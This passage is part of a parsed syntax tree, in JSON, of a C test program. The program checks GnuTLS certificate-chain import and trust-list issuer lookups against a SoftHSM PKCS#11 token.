2)\n\t\t\tprintf(\"\\tAdding certificate %d...\",\n\t\t\t (int) j);\n\n\t\tret = gnutls_x509_crt_init(&certs[j]);\n\t\tif (ret < 0) {\n\t\t\tfprintf(stderr,\n\t\t\t\t\"gnutls_x509_crt_init[%d,%d]: %s\\n\",\n\t\t\t\t(int) 3, (int) j,\n\t\t\t\tgnutls_strerror(ret));\n\t\t\texit(1);\n\t\t}\n\n\t\ttmp.data = (unsigned char *) chains[idx].chain[j];\n\t\ttmp.size = strlen(chains[idx].chain[j]);\n\n\t\tret =\n\t\t gnutls_x509_crt_import(certs[j], &tmp,\n\t\t\t\t\t GNUTLS_X509_FMT_PEM);\n\t\tif (debug > 2)\n\t\t\tprintf(\"done\\n\");\n\t\tif (ret < 0) {\n\t\t\tfprintf(stderr,\n\t\t\t\t\"gnutls_x509_crt_import[%s,%d]: %s\\n\",\n\t\t\t\tchains[idx].name, (int) j,\n\t\t\t\tgnutls_strerror(ret));\n\t\t\texit(1);\n\t\t}\n\n\t\tgnutls_x509_crt_print(certs[j],\n\t\t\t\t GNUTLS_CRT_PRINT_ONELINE,\n\t\t\t\t &tmp);\n\t\tif (debug)\n\t\t\tprintf(\"\\tCertificate %d: %.*s\\n\", (int) j,\n\t\t\t tmp.size, tmp.data);\n\t\tgnutls_free(tmp.data);\n\t}\n\n\tif (debug > 2)\n\t\tprintf(\"\\tAdding CA certificate...\");\n\n\tret = gnutls_x509_crt_init(&ca);\n\tif (ret < 0) {\n\t\tfprintf(stderr, \"gnutls_x509_crt_init: %s\\n\",\n\t\t\tgnutls_strerror(ret));\n\t\texit(1);\n\t}\n\n\ttmp.data = (unsigned char *) *chains[idx].ca;\n\ttmp.size = strlen(*chains[idx].ca);\n\n\tret =\n\t gnutls_x509_crt_import(ca, &tmp, GNUTLS_X509_FMT_PEM);\n\tif (ret < 0) {\n\t\tfprintf(stderr, \"gnutls_x509_crt_import: %s\\n\",\n\t\t\tgnutls_strerror(ret));\n\t\texit(1);\n\t}\n\n\tif (debug > 2)\n\t\tprintf(\"done\\n\");\n\n\tgnutls_x509_crt_print(ca, GNUTLS_CRT_PRINT_ONELINE, &tmp);\n\tif (debug)\n\t\tprintf(\"\\tCA Certificate: %.*s\\n\", tmp.size,\n\t\t tmp.data);\n\tgnutls_free(tmp.data);\n\n\tif (debug)\n\t\tprintf(\"\\tVerifying...\");\n\n\t/* initialize softhsm token */\n\tret = gnutls_pkcs11_token_init(SOFTHSM_URL, PIN, \"test\");\n\tif (ret < 0) {\n\t\tfail(\"gnutls_pkcs11_token_init\\n\");\n\t\texit(1);\n\t}\n\n\t/* write CA certificate to softhsm */\n\tret = gnutls_pkcs11_copy_x509_crt(SOFTHSM_URL, ca, \"test-ca\", GNUTLS_PKCS11_OBJ_FLAG_MARK_TRUSTED|GNUTLS_PKCS11_OBJ_FLAG_LOGIN_SO);\n\tif (ret < 0) {\n\t\tfail(\"gnutls_pkcs11_copy_x509_crt: %s\\n\", gnutls_strerror(ret));\n\t\texit(1);\n\t}\n\n\tgnutls_x509_trust_list_init(&tl, 0);\n\n\tret = gnutls_x509_trust_list_add_trust_file(tl, SOFTHSM_URL, NULL, 0, 0, 0);\n\tif (ret < 0) {\n\t\tfail(\"gnutls_x509_trust_list_add_trust_file\\n\");\n\t\texit(1);\n\t}\n\n\t/* extract the issuer of the certificate */\n\tissuer = NULL;\n\tret = gnutls_x509_trust_list_get_issuer(tl, certs[2], &issuer, GNUTLS_TL_GET_COPY);\n\tif (ret < 0) {\n\t\tfail(\"error in gnutls_x509_trust_list_get_issuer\\n\");\n\t\texit(1);\n\t}\n\tif (issuer == NULL) {\n\t\tfail(\"error in gnutls_x509_trust_list_get_issuer return value\\n\");\n\t\texit(1);\n\t}\n\tgnutls_x509_crt_deinit(issuer);\n\n\t/* extract the issuer of the certificate using the non-thread-safe approach */\n\tissuer = NULL;\n\tret = gnutls_x509_trust_list_get_issuer(tl, certs[2], &issuer, 0);\n\tif (ret < 0) {\n\t\tfail(\"error in gnutls_x509_trust_list_get_issuer\\n\");\n\t\texit(1);\n\t}\n\tif (issuer == NULL) {\n\t\tfail(\"error in gnutls_x509_trust_list_get_issuer return value\\n\");\n\t\texit(1);\n\t}\n\n\t/* extract (again) the issuer of the certificate - check for any leaks */\n\tret = gnutls_x509_trust_list_get_issuer(tl, certs[2], &issuer, 0);\n\tif (ret < 0) {\n\t\tfail(\"error in gnutls_x509_trust_list_get_issuer\\n\");\n\t\texit(1);\n\t}\n\n\t/* Check gnutls_x509_trust_list_get_raw_issuer_by_dn */\n\tret = gnutls_x509_crt_get_raw_issuer_dn(certs[2], &tmp);\n\tif (ret < 0) {\n\t\tfail(\"error in gnutls_x509_crt_get_raw_issuer_dn: %s\\n\", gnutls_strerror(ret));\n\t\texit(1);\n\t}\n\t\n\tret = gnutls_x509_trust_list_get_issuer_by_dn(tl, &tmp, &issuer, 0);\n\tgnutls_free(tmp.data);\n\tif (ret < 0) {\n\t\tfail(\"error in gnutls_x509_trust_list_get_issuer\\n\");\n\t\texit(1);\n\t}\n\tif (issuer == NULL) {\n\t\tfail(\"error in gnutls_x509_trust_list_get_issuer_by_dn return value\\n\");\n\t\texit(1);\n\t}\n\tgnutls_x509_crt_deinit(issuer);\n\n\tif (debug)\n\t\tprintf(\"\\tCleanup...\");\n\n\tgnutls_x509_trust_list_deinit(tl, 0);\n\tgnutls_x509_crt_deinit(ca);\n\tfor (j = 0; chains[idx].chain[j]; j++)\n\t\tgnutls_x509_crt_deinit(certs[j]);\n\tif (debug)\n\t\tprintf(\"done\\n\\n\\n\");\n\n\tgnutls_global_deinit();\n\n\tif (debug)\n\t\tprintf(\"Exit status...%d\\n\", exit_val);\n\tremove(CONFIG);\n\n\texit(exit_val);\n}", "parent": null, "children": [140, 141], "start_point": {"row": 73, "column": 0}, "end_point": {"row": 298, "column": 1}}, {"id": 140, "type": "primitive_type", "text": "void", "parent": 139, "children": [], "start_point": {"row": 73, "column": 0}, "end_point": {"row": 73, "column": 4}}, {"id": 141, "type": "function_declarator", "text": "doit(void)", "parent": 139, "children": [142, 143], "start_point": {"row": 73, "column": 5}, "end_point": {"row": 73, "column": 15}}, {"id": 142, "type": "identifier", "text": "doit", "parent": 141, "children": [], "start_point": {"row": 73, "column": 5}, "end_point": {"row": 73, "column": 9}}, {"id": 143, "type": "parameter_list", "text": "(void)", "parent": 141, "children": [144], "start_point": {"row": 73, "column": 9}, "end_point": {"row": 73, "column": 15}}, {"id": 144, "type": "parameter_declaration", "text": "void", "parent": 143, "children": [145], "start_point": {"row": 73, "column": 10}, "end_point": {"row": 73, "column": 14}}, {"id": 145, "type": "primitive_type", "text": "void", "parent": 144, "children": [], "start_point": {"row": 73, "column": 10}, "end_point": {"row": 73, "column": 14}}, {"id": 146, "type": "declaration", "text": "char buf[128];", "parent": 139, "children": [147, 148], "start_point": {"row": 75, "column": 1}, "end_point": {"row": 75, "column": 15}}, {"id": 147, "type": "primitive_type", "text": "char", "parent": 146, "children": [], "start_point": {"row": 75, "column": 1}, "end_point": {"row": 75, "column": 5}}, {"id": 148, "type": "array_declarator", "text": "buf[128]", "parent": 146, "children": [149, 150], "start_point": {"row": 75, "column": 6}, "end_point": {"row": 75, "column": 14}}, {"id": 149, "type": "identifier", "text": "buf", "parent": 148, "children": [], "start_point": {"row": 75, "column": 6}, "end_point": {"row": 75, "column": 9}}, {"id": 150, "type": "number_literal", "text": "128", "parent": 148, "children": [], "start_point": {"row": 75, "column": 10}, "end_point": {"row": 75, "column": 13}}, {"id": 151, "type": "declaration", "text": "int exit_val = 0;", "parent": 139, "children": [152, 153], "start_point": {"row": 76, "column": 1}, "end_point": {"row": 76, "column": 18}}, {"id": 152, "type": "primitive_type", "text": "int", "parent": 151, "children": [], "start_point": {"row": 76, "column": 1}, "end_point": {"row": 76, "column": 4}}, {"id": 153, "type": "init_declarator", "text": "exit_val = 0", "parent": 151, "children": [154, 155, 156], "start_point": {"row": 76, "column": 5}, "end_point": {"row": 76, "column": 17}}, {"id": 154, "type": "identifier", "text": "exit_val", "parent": 153, "children": [], "start_point": {"row": 76, "column": 5}, "end_point": {"row": 76, "column": 13}}, {"id": 155, "type": "=", "text": "=", "parent": 153, "children": [], "start_point": {"row": 76, "column": 14}, "end_point": {"row": 76, "column": 15}}, {"id": 156, "type": "number_literal", "text": "0", "parent": 153, "children": [], "start_point": {"row": 76, "column": 16}, "end_point": {"row": 76, "column": 17}}, {"id": 157, "type": "declaration", "text": "int ret;", "parent": 139, "children": [158, 159], "start_point": {"row": 77, "column": 1}, "end_point": {"row": 77, "column": 9}}, {"id": 158, "type": "primitive_type", "text": "int", "parent": 157, "children": [], "start_point": {"row": 77, "column": 1}, "end_point": {"row": 77, "column": 4}}, {"id": 159, "type": "identifier", "text": "ret", "parent": 157, "children": [], "start_point": {"row": 77, "column": 5}, "end_point": {"row": 77, "column": 8}}, {"id": 160, "type": "declaration", "text": "unsigned j;", "parent": 139, "children": [161, 163], "start_point": {"row": 78, "column": 1}, "end_point": {"row": 78, "column": 12}}, {"id": 161, "type": "sized_type_specifier", "text": "unsigned", "parent": 160, "children": [162], "start_point": {"row": 78, "column": 1}, "end_point": {"row": 78, "column": 9}}, {"id": 162, "type": "unsigned", "text": "unsigned", "parent": 161, "children": [], "start_point": {"row": 78, "column": 1}, "end_point": {"row": 78, "column": 9}}, {"id": 163, "type": "identifier", "text": "j", "parent": 160, "children": [], "start_point": {"row": 78, "column": 10}, "end_point": {"row": 78, "column": 11}}, {"id": 164, "type": "declaration", "text": "const char *lib, *bin;", "parent": 139, "children": [165, 166, 169], "start_point": {"row": 79, "column": 1}, "end_point": {"row": 79, "column": 23}}, {"id": 165, "type": "primitive_type", "text": "char", "parent": 164, "children": [], "start_point": {"row": 79, "column": 7}, "end_point": {"row": 79, "column": 11}}, {"id": 166, "type": "pointer_declarator", "text": "*lib", "parent": 164, "children": [167, 168], "start_point": {"row": 79, "column": 12}, "end_point": {"row": 79, "column": 16}}, {"id": 167, "type": "*", "text": "*", "parent": 166, "children": [], "start_point": {"row": 79, "column": 12}, "end_point": {"row": 79, "column": 13}}, {"id": 168, "type": "identifier", "text": "lib", "parent": 166, "children": [], "start_point": {"row": 79, "column": 13}, "end_point": {"row": 79, "column": 16}}, {"id": 169, "type": "pointer_declarator", "text": "*bin", "parent": 164, "children": [170, 171], "start_point": {"row": 79, "column": 18}, "end_point": {"row": 79, "column": 22}}, {"id": 170, "type": "*", "text": "*", "parent": 169, "children": [], "start_point": {"row": 79, "column": 18}, "end_point": {"row": 79, "column": 19}}, {"id": 171, "type": "identifier", "text": "bin", "parent": 169, "children": [], "start_point": {"row": 79, "column": 19}, "end_point": {"row": 79, "column": 22}}, {"id": 172, "type": "declaration", "text": "gnutls_x509_crt_t issuer = NULL;", "parent": 139, "children": [173, 174], "start_point": {"row": 80, "column": 1}, "end_point": {"row": 80, "column": 33}}, {"id": 173, "type": "type_identifier", "text": "gnutls_x509_crt_t", "parent": 172, "children": [], "start_point": {"row": 80, "column": 1}, "end_point": {"row": 80, "column": 18}}, {"id": 174, "type": "init_declarator", "text": "issuer = NULL", "parent": 172, "children": [175, 176, 177], "start_point": {"row": 80, "column": 19}, "end_point": {"row": 80, "column": 32}}, {"id": 175, "type": "identifier", "text": "issuer", "parent": 174, "children": [], "start_point": {"row": 80, "column": 19}, "end_point": {"row": 80, "column": 25}}, {"id": 176, "type": "=", "text": "=", "parent": 174, "children": [], "start_point": {"row": 80, "column": 26}, "end_point": {"row": 80, "column": 27}}, {"id": 177, "type": "null", "text": "NULL", "parent": 174, "children": [178], "start_point": {"row": 80, "column": 28}, "end_point": {"row": 80, "column": 32}}, {"id": 178, "type": "NULL", "text": "NULL", "parent": 177, "children": [], "start_point": {"row": 80, "column": 28}, "end_point": {"row": 80, "column": 32}}, {"id": 179, "type": "declaration", "text": "gnutls_x509_trust_list_t tl;", "parent": 139, "children": [180, 181], "start_point": {"row": 81, "column": 1}, "end_point": {"row": 81, "column": 29}}, {"id": 180, "type": "type_identifier", "text": "gnutls_x509_trust_list_t", "parent": 179, "children": [], "start_point": {"row": 81, "column": 1}, "end_point": {"row": 81, "column": 25}}, {"id": 181, "type": "identifier", "text": "tl", "parent": 179, "children": [], "start_point": {"row": 81, "column": 26}, "end_point": {"row": 81, "column": 28}}, {"id": 182, "type": "declaration", "text": "gnutls_x509_crt_t certs[MAX_CHAIN];", "parent": 139, "children": [183, 184], "start_point": {"row": 82, "column": 1}, "end_point": {"row": 82, "column": 36}}, {"id": 183, "type": "type_identifier", "text": "gnutls_x509_crt_t", "parent": 182, "children": [], "start_point": {"row": 82, "column": 1}, "end_point": {"row": 82, "column": 18}}, {"id": 184, "type": "array_declarator", "text": "certs[MAX_CHAIN]", "parent": 182, "children": [185, 186], "start_point": {"row": 82, "column": 19}, "end_point": {"row": 82, "column": 35}}, {"id": 185, "type": "identifier", "text": "certs", "parent": 184, "children": [], "start_point": {"row": 82, "column": 19}, "end_point": {"row": 82, "column": 24}}, {"id": 186, "type": "identifier", "text": "MAX_CHAIN", "parent": 184, "children": [], "start_point": {"row": 82, "column": 25}, "end_point": {"row": 82, "column": 34}}, {"id": 187, "type": "declaration", "text": "gnutls_x509_crt_t ca;", "parent": 139, "children": [188, 189], "start_point": {"row": 83, "column": 1}, "end_point": {"row": 83, "column": 22}}, {"id": 188, "type": "type_identifier", "text": "gnutls_x509_crt_t", "parent": 187, "children": [], "start_point": {"row": 83, "column": 1}, "end_point": {"row": 83, "column": 18}}, {"id": 189, "type": "identifier", "text": "ca", "parent": 187, "children": [], "start_point": {"row": 83, "column": 19}, "end_point": {"row": 83, "column": 21}}, {"id": 190, "type": "declaration", "text": "gnutls_datum_t tmp;", "parent": 139, "children": [191, 192], "start_point": {"row": 84, "column": 1}, "end_point": {"row": 84, "column": 20}}, {"id": 191, "type": "type_identifier", "text": "gnutls_datum_t", "parent": 190, "children": [], "start_point": {"row": 84, "column": 1}, "end_point": {"row": 84, "column": 15}}, {"id": 192, "type": "identifier", "text": "tmp", "parent": 190, "children": [], "start_point": {"row": 84, "column": 16}, "end_point": {"row": 84, "column": 19}}, {"id": 193, "type": "declaration", "text": "int idx = -1;", "parent": 139, "children": [194, 195], "start_point": {"row": 85, "column": 1}, "end_point": {"row": 85, "column": 14}}, {"id": 194, "type": "primitive_type", "text": "int", "parent": 193, "children": [], "start_point": {"row": 85, "column": 1}, "end_point": {"row": 85, "column": 4}}, {"id": 195, "type": "init_declarator", "text": "idx = -1", "parent": 193, "children": [196, 197, 198], "start_point": {"row": 85, "column": 5}, "end_point": {"row": 85, "column": 13}}, {"id": 196, "type": "identifier", "text": "idx", "parent": 195, "children": [], "start_point": {"row": 85, "column": 5}, "end_point": {"row": 85, "column": 8}}, {"id": 197, "type": "=", "text": "=", "parent": 195, "children": [], "start_point": {"row": 85, "column": 9}, "end_point": {"row": 85, "column": 10}}, {"id": 198, "type": "number_literal", "text": "-1", "parent": 195, "children": [], "start_point": {"row": 85, "column": 11}, "end_point": {"row": 85, "column": 13}}, {"id": 199, "type": "preproc_ifdef", "text": "#ifdef _WIN32\n\texit(77);\n#endif", "parent": 139, "children": [200, 201, 206], "start_point": {"row": 90, "column": 0}, "end_point": {"row": 92, "column": 6}}, {"id": 200, "type": "#ifdef", "text": "#ifdef", "parent": 199, "children": [], "start_point": {"row": 90, "column": 0}, "end_point": {"row": 90, "column": 6}}, {"id": 201, "type": "identifier", "text": "_WIN32", "parent": 199, "children": [], "start_point": {"row": 90, "column": 7}, "end_point": {"row": 90, "column": 13}}, {"id": 202, "type": "call_expression", "text": "exit(77)", "parent": 199, "children": [203, 204], "start_point": {"row": 91, "column": 1}, "end_point": {"row": 91, "column": 9}}, {"id": 203, "type": "identifier", "text": "exit", "parent": 202, "children": [], "start_point": {"row": 91, "column": 1}, "end_point": {"row": 91, "column": 5}}, {"id": 204, "type": "argument_list", "text": "(77)", "parent": 202, "children": [205], "start_point": {"row": 91, "column": 5}, "end_point": {"row": 91, "column": 9}}, {"id": 205, "type": "number_literal", "text": "77", "parent": 204, "children": [], "start_point": {"row": 91, "column": 6}, "end_point": {"row": 91, "column": 8}}, {"id": 206, "type": "#endif", "text": "#endif", "parent": 199, "children": [], "start_point": {"row": 92, "column": 0}, "end_point": {"row": 92, "column": 6}}, {"id": 207, "type": "for_statement", "text": "for (j=0;;j++) {\n\t\tif (chains[j].name == NULL)\n\t\t\tbreak;\n\t\tif (strcmp(chains[j].name, \"verisign.com v1 ok\") == 0) {\n\t\t\tidx = j;\n\t\t\tbreak;\n\t\t}\n\t}", "parent": 139, "children": [208, 212], "start_point": {"row": 93, "column": 1}, "end_point": {"row": 100, "column": 2}}, {"id": 208, "type": "assignment_expression", "text": "j=0", "parent": 207, "children": [209, 210, 211], "start_point": {"row": 93, "column": 6}, "end_point": {"row": 93, "column": 9}}, {"id": 209, "type": "identifier", "text": "j", "parent": 208, "children": [], "start_point": {"row": 93, "column": 6}, "end_point": {"row": 93, "column": 7}}, {"id": 210, "type": "=", "text": "=", "parent": 208, "children": [], "start_point": {"row": 93, "column": 7}, "end_point": {"row": 93, "column": 8}}, {"id": 211, "type": "number_literal", "text": "0", "parent": 208, "children": [], "start_point": {"row": 93, "column": 8}, "end_point": {"row": 93, "column": 9}}, {"id": 212, "type": "update_expression", "text": "j++", "parent": 207, "children": [213, 214], "start_point": {"row": 93, "column": 11}, "end_point": {"row": 93, "column": 14}}, {"id": 213, "type": "identifier", "text": "j", "parent": 212, "children": [], "start_point": {"row": 93, "column": 11}, "end_point": {"row": 93, "column": 12}}, {"id": 214, "type": "++", "text": "++", "parent": 212, "children": [], "start_point": {"row": 93, "column": 12}, "end_point": {"row": 93, "column": 14}}, {"id": 215, "type": "if_statement", "text": "if (chains[j].name == NULL)\n\t\t\tbreak;", "parent": 207, "children": [216, 226], "start_point": {"row": 94, "column": 2}, "end_point": {"row": 95, "column": 9}}, {"id": 216, "type": "parenthesized_expression", "text": "(chains[j].name == NULL)", "parent": 215, "children": [217], "start_point": {"row": 94, "column": 5}, "end_point": {"row": 94, "column": 29}}, {"id": 217, "type": "binary_expression", "text": "chains[j].name == NULL", "parent": 216, "children": [218, 223, 224], "start_point": {"row": 94, "column": 6}, "end_point": {"row": 94, "column": 28}}, {"id": 218, "type": "field_expression", "text": "chains[j].name", "parent": 217, "children": [219, 222], "start_point": {"row": 94, "column": 6}, "end_point": {"row": 94, "column": 20}}, {"id": 219, "type": "subscript_expression", "text": "chains[j]", "parent": 218, "children": [220, 221], "start_point": {"row": 94, "column": 6}, "end_point": {"row": 94, "column": 15}}, {"id": 220, "type": "identifier", "text": "chains", "parent": 219, "children": [], "start_point": {"row": 94, "column": 6}, "end_point": {"row": 94, "column": 12}}, {"id": 221, "type": "identifier", "text": "j", "parent": 219, "children": [], "start_point": {"row": 94, "column": 13}, "end_point": {"row": 94, "column": 14}}, {"id": 222, "type": "field_identifier", "text": "name", "parent": 218, "children": [], "start_point": {"row": 94, "column": 16}, "end_point": {"row": 94, "column": 20}}, {"id": 223, "type": "==", "text": "==", "parent": 217, "children": [], "start_point": {"row": 94, "column": 21}, "end_point": {"row": 94, "column": 23}}, {"id": 224, "type": "null", "text": "NULL", "parent": 217, "children": [225], "start_point": {"row": 94, "column": 24}, "end_point": {"row": 94, "column": 28}}, {"id": 225, "type": "NULL", "text": "NULL", "parent": 224, "children": [], "start_point": {"row": 94, "column": 24}, "end_point": {"row": 94, "column": 28}}, {"id": 226, "type": "break_statement", "text": "break;", "parent": 215, "children": [227], "start_point": {"row": 95, "column": 3}, "end_point": {"row": 95, "column": 9}}, {"id": 227, "type": "break", "text": "break", "parent": 226, "children": [], "start_point": {"row": 95, "column": 3}, "end_point": {"row": 95, "column": 8}}, {"id": 228, "type": "if_statement", "text": "if (strcmp(chains[j].name, \"verisign.com v1 ok\") == 0) {\n\t\t\tidx = j;\n\t\t\tbreak;\n\t\t}", "parent": 207, "children": [229], "start_point": {"row": 96, "column": 2}, "end_point": {"row": 99, "column": 3}}, {"id": 229, "type": "parenthesized_expression", "text": "(strcmp(chains[j].name, \"verisign.com v1 ok\") == 0)", "parent": 228, "children": [230], "start_point": {"row": 96, "column": 5}, "end_point": {"row": 96, "column": 56}}, {"id": 230, "type": "binary_expression", "text": "strcmp(chains[j].name, \"verisign.com v1 ok\") == 0", "parent": 229, "children": [231, 240, 241], "start_point": {"row": 96, "column": 6}, "end_point": {"row": 96, "column": 55}}, {"id": 231, "type": "call_expression", "text": "strcmp(chains[j].name, \"verisign.com v1 ok\")", "parent": 230, "children": [232, 233], "start_point": {"row": 96, "column": 6}, "end_point": {"row": 96, "column": 50}}, {"id": 232, "type": "identifier", "text": "strcmp", "parent": 231, "children": [], "start_point": {"row": 96, "column": 6}, "end_point": {"row": 96, "column": 12}}, {"id": 233, "type": "argument_list", "text": "(chains[j].name, \"verisign.com v1 ok\")", "parent": 231, "children": [234, 239], "start_point": {"row": 96, "column": 12}, "end_point": {"row": 96, "column": 50}}, {"id": 234, "type": "field_expression", "text": "chains[j].name", "parent": 233, "children": [235, 238], "start_point": {"row": 96, "column": 13}, "end_point": {"row": 96, "column": 27}}, {"id": 235, "type": "subscript_expression", "text": "chains[j]", "parent": 234, "children": [236, 237], "start_point": {"row": 96, "column": 13}, "end_point": {"row": 96, "column": 22}}, {"id": 236, "type": "identifier", "text": "chains", "parent": 235, "children": [], "start_point": {"row": 96, "column": 13}, "end_point": {"row": 96, "column": 19}}, {"id": 237, "type": "identifier", "text": "j", "parent": 235, "children": [], "start_point": {"row": 96, "column": 20}, "end_point": {"row": 96, "column": 21}}, {"id": 238, "type": "field_identifier", "text": "name", "parent": 234, "children": [], "start_point": {"row": 96, "column": 23}, "end_point": {"row": 96, "column": 27}}, {"id": 239, "type": "string_literal", "text": "\"verisign.com v1 ok\"", "parent": 233, "children": [], "start_point": {"row": 96, "column": 29}, "end_point": {"row": 96, "column": 49}}, {"id": 240, "type": "==", "text": "==", "parent": 230, "children": [], "start_point": {"row": 96, "column": 51}, "end_point": {"row": 96, "column": 53}}, {"id": 241, "type": "number_literal", "text": "0", "parent": 230, "children": [], "start_point": {"row": 96, "column": 54}, "end_point": {"row": 96, "column": 55}}, {"id": 242, "type": "assignment_expression", "text": "idx = j", "parent": 228, "children": [243, 244, 245], "start_point": {"row": 97, "column": 3}, "end_point": {"row": 97, "column": 10}}, {"id": 243, "type": "identifier", "text": "idx", "parent": 242, "children": [], "start_point": {"row": 97, "column": 3}, "end_point": {"row": 97, "column": 6}}, {"id": 244, "type": "=", "text": "=", "parent": 242, "children": [], "start_point": {"row": 97, "column": 7}, "end_point": {"row": 97, "column": 8}}, {"id": 245, "type": "identifier", "text": "j", "parent": 242, "children": [], "start_point": {"row": 97, "column": 9}, "end_point": {"row": 97, "column": 10}}, {"id": 246, "type": "break_statement", "text": "break;", "parent": 228, "children": [247], "start_point": {"row": 98, "column": 3}, "end_point": {"row": 98, "column": 9}}, {"id": 247, "type": "break", "text": "break", "parent": 246, "children": [], "start_point": {"row": 98, "column": 3}, "end_point": {"row": 98, "column": 8}}, {"id": 248, "type": "if_statement", "text": "if (idx == -1) {\n\t\tfail(\"could not find proper chain\\n\");\n\t\texit(1);\n\t}", "parent": 139, "children": [249], "start_point": {"row": 102, "column": 1}, "end_point": {"row": 105, "column": 2}}, {"id": 249, "type": "parenthesized_expression", "text": "(idx == -1)", "parent": 248, "children": [250], "start_point": {"row": 102, "column": 4}, "end_point": {"row": 102, "column": 15}}, {"id": 250, "type": "binary_expression", "text": "idx == -1", "parent": 249, "children": [251, 252, 253], "start_point": {"row": 102, "column": 5}, "end_point": {"row": 102, "column": 14}}, {"id": 251, "type": "identifier", "text": "idx", "parent": 250, "children": [], "start_point": {"row": 102, "column": 5}, "end_point": {"row": 102, "column": 8}}, {"id": 252, "type": "==", "text": "==", "parent": 250, "children": [], "start_point": {"row": 102, "column": 9}, "end_point": {"row": 102, "column": 11}}, {"id": 253, "type": "number_literal", "text": "-1", "parent": 250, "children": [], "start_point": {"row": 102, "column": 12}, "end_point": {"row": 102, "column": 14}}, {"id": 254, "type": "call_expression", "text": "fail(\"could not find proper chain\\n\")", "parent": 248, "children": [255, 256], "start_point": {"row": 103, "column": 2}, "end_point": {"row": 103, "column": 39}}, {"id": 255, "type": "identifier", "text": "fail", "parent": 254, "children": [], "start_point": {"row": 103, "column": 2}, "end_point": {"row": 103, "column": 6}}, {"id": 256, "type": "argument_list", "text": "(\"could not find proper chain\\n\")", "parent": 254, "children": [257], "start_point": {"row": 103, "column": 6}, "end_point": {"row": 103, "column": 39}}, {"id": 257, "type": "string_literal", "text": "\"could not find proper chain\\n\"", "parent": 256, "children": [258], "start_point": {"row": 103, "column": 7}, "end_point": {"row": 103, "column": 38}}, {"id": 258, "type": "escape_sequence", "text": "\\n", "parent": 257, "children": [], "start_point": {"row": 103, "column": 35}, "end_point": {"row": 103, "column": 37}}, {"id": 259, "type": "call_expression", "text": "exit(1)", "parent": 248, "children": [260, 261], "start_point": {"row": 104, "column": 2}, "end_point": {"row": 104, "column": 9}}, {"id": 260, "type": "identifier", "text": "exit", "parent": 259, "children": [], "start_point": {"row": 104, "column": 2}, "end_point": {"row": 104, "column": 6}}, {"id": 261, "type": "argument_list", "text": "(1)", "parent": 259, "children": [262], "start_point": {"row": 104, "column": 6}, "end_point": {"row": 104, "column": 9}}, {"id": 262, "type": "number_literal", "text": "1", "parent": 261, "children": [], "start_point": {"row": 104, "column": 7}, "end_point": {"row": 104, "column": 8}}, {"id": 263, "type": "assignment_expression", "text": "bin = softhsm_bin()", "parent": 139, "children": [264, 265, 266], "start_point": {"row": 107, "column": 1}, "end_point": {"row": 107, "column": 20}}, {"id": 264, "type": "identifier", "text": "bin", "parent": 263, "children": [], "start_point": {"row": 107, "column": 1}, "end_point": {"row": 107, "column": 4}}, {"id": 265, "type": "=", "text": "=", "parent": 263, "children": [], "start_point": {"row": 107, "column": 5}, "end_point": {"row": 107, "column": 6}}, {"id": 266, "type": "call_expression", "text": "softhsm_bin()", "parent": 263, "children": [267, 268], "start_point": {"row": 107, "column": 7}, "end_point": {"row": 107, "column": 20}}, {"id": 267, "type": "identifier", "text": "softhsm_bin", "parent": 266, "children": [], "start_point": {"row": 107, "column": 7}, "end_point": {"row": 107, "column": 18}}, {"id": 268, "type": "argument_list", "text": "()", "parent": 266, "children": [], "start_point": {"row": 107, "column": 18}, "end_point": {"row": 107, "column": 20}}, {"id": 269, "type": "assignment_expression", "text": "lib = softhsm_lib()", "parent": 139, "children": [270, 271, 272], "start_point": {"row": 109, "column": 1}, "end_point": {"row": 109, "column": 20}}, {"id": 270, "type": "identifier", "text": "lib", "parent": 269, "children": [], "start_point": {"row": 109, "column": 1}, "end_point": {"row": 109, "column": 4}}, {"id": 271, "type": "=", "text": "=", "parent": 269, "children": [], "start_point": {"row": 109, "column": 5}, "end_point": {"row": 109, "column": 6}}, {"id": 272, "type": "call_expression", "text": "softhsm_lib()", "parent": 269, "children": [273, 274], "start_point": {"row": 109, "column": 7}, "end_point": {"row": 109, "column": 20}}, {"id": 273, "type": "identifier", "text": "softhsm_lib", "parent": 272, "children": [], "start_point": {"row": 109, "column": 7}, "end_point": {"row": 109, "column": 18}}, {"id": 274, "type": "argument_list", "text": "()", "parent": 272, "children": [], "start_point": {"row": 109, "column": 18}, "end_point": {"row": 109, "column": 20}}, {"id": 275, "type": "assignment_expression", "text": "ret = global_init()", "parent": 139, "children": [276, 277, 278], "start_point": {"row": 111, "column": 1}, "end_point": {"row": 111, "column": 20}}, {"id": 276, "type": "identifier", "text": "ret", "parent": 275, "children": [], "start_point": {"row": 111, "column": 1}, "end_point": {"row": 111, "column": 4}}, {"id": 277, "type": "=", "text": "=", "parent": 275, "children": [], "start_point": {"row": 111, "column": 5}, "end_point": {"row": 111, "column": 6}}, {"id": 278, "type": "call_expression", "text": "global_init()", "parent": 275, "children": [279, 280], "start_point": {"row": 111, "column": 7}, "end_point": {"row": 111, "column": 20}}, {"id": 279, "type": "identifier", "text": "global_init", "parent": 278, "children": [], "start_point": {"row": 111, "column": 7}, "end_point": {"row": 111, "column": 18}}, {"id": 280, "type": "argument_list", "text": "()", "parent": 278, "children": [], "start_point": {"row": 111, "column": 18}, "end_point": {"row": 111, "column": 20}}, {"id": 281, "type": "if_statement", "text": "if (ret != 0) {\n\t\tfail(\"%d: %s\\n\", ret, gnutls_strerror(ret));\n\t\texit(1);\n\t}", "parent": 139, "children": [282], "start_point": {"row": 112, "column": 1}, "end_point": {"row": 115, "column": 2}}, {"id": 282, "type": "parenthesized_expression", "text": "(ret != 0)", "parent": 281, "children": [283], "start_point": {"row": 112, "column": 4}, "end_point": {"row": 112, "column": 14}}, {"id": 283, "type": "binary_expression", "text": "ret != 0", "parent": 282, "children": [284, 285, 286], "start_point": {"row": 112, "column": 5}, "end_point": {"row": 112, "column": 13}}, {"id": 284, "type": "identifier", "text": "ret", "parent": 283, "children": [], "start_point": {"row": 112, "column": 5}, "end_point": {"row": 112, "column": 8}}, {"id": 285, "type": "!=", "text": "!=", "parent": 283, "children": [], "start_point": {"row": 112, "column": 9}, "end_point": {"row": 112, "column": 11}}, {"id": 286, "type": "number_literal", "text": "0", "parent": 283, "children": [], "start_point": {"row": 112, "column": 12}, "end_point": {"row": 112, "column": 13}}, {"id": 287, "type": "call_expression", "text": "fail(\"%d: %s\\n\", ret, gnutls_strerror(ret))", "parent": 281, "children": [288, 289], "start_point": {"row": 113, "column": 2}, "end_point": {"row": 113, "column": 45}}, {"id": 288, "type": "identifier", "text": "fail", "parent": 287, "children": [], "start_point": {"row": 113, "column": 2}, "end_point": {"row": 113, "column": 6}}, {"id": 289, 